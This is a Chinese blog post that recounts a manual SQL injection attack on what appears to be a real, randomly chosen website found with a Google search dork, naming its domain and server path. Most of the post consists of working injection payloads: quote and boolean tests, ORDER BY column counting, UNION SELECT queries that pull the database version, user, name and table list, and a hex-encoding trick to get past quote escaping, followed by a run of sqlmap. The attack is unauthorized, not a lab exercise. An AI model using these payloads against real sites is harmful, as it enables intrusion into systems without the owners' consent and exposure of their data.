美文网首页
2018-11-25 by L0st

2018-11-25 by L0st

作者: l0st | 来源:发表于2018-11-25 00:03 被阅读0次

    0x00

    首先谷歌上找目标,使用搜索语法
    inurl:php?id=
    搜索出来不少站点,随机选取

    0x01

    测试该页面是否存在注入漏洞:
    id=1' 页面报错了
    id=1 and 1=1 --+ 页面正常
    id=1 and 1=2 --+ 页面返回错误,并将mysql_error返回到了页面上
    到此可以确定该页面存在数字型注入漏洞

    0x02

    判断数据库查询的字段数:
    id=1 order by 1 --+ 返回正常
    id=1 order by 2 --+ 返回正常
    ...
    id=1 order by 38 --+ 返回错误,故数据库查询了37个字段

    错误信息:
    Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/cinguitars/domains/cinguitars.com/public_html/webmaster/libs/Model.php on line 43

    测试各字段数据显示的位置:
    id=0 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37 #
    通过页面返回可以看到 3,5,6,8,9,10 列的数据会显示在页面上

    查询基本信息:
    id= 0 union select 1,2,@@version,4,5,6,7,user(),database(),0,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37 #

    Version:5.5.39
    User:cinguitars_dbn@localhost
    database:cinguitars_dbn
    mysql_dir:/var/lib/mysql/

    当前库中的表:
    amphur,brand,cart,category,country_t,fade_img,gal_pic,gal_topic,gallery,go_order,intro_page,payment,product,province,slide,subscribe,user,variety,views_report,youtube

    查询user表
    id=0 union select 1,2,3,4,5,6,7,8,column_name,0,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37 from information_schema.columns where table_name='user' --+
    返回错误,开始我以为是我语法错误,检查后发现并不是,页面源代码中返回我输入的mysql_query为

    0 union select 1,2,3,4,5,6,7,8,column_name,0,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37 from information_schema.columns where table_name='user\ '

    可以看到单引号被转义了, 这里用十六进制绕过
    payload:... where table_name=0x75736572

    结果发现user表中只有一个字段 uid


    无码

    然后看了一圈发现这只是一个用来展示商品的网站,没有什么用户功能,数据库权限也很有限,觉得没意思,就放sqlmap里扫一扫然后扔了......

    相关文章

      网友评论

          本文标题:2018-11-25 by L0st

          本文链接:https://www.haomeiwen.com/subject/jzyuqqtx.html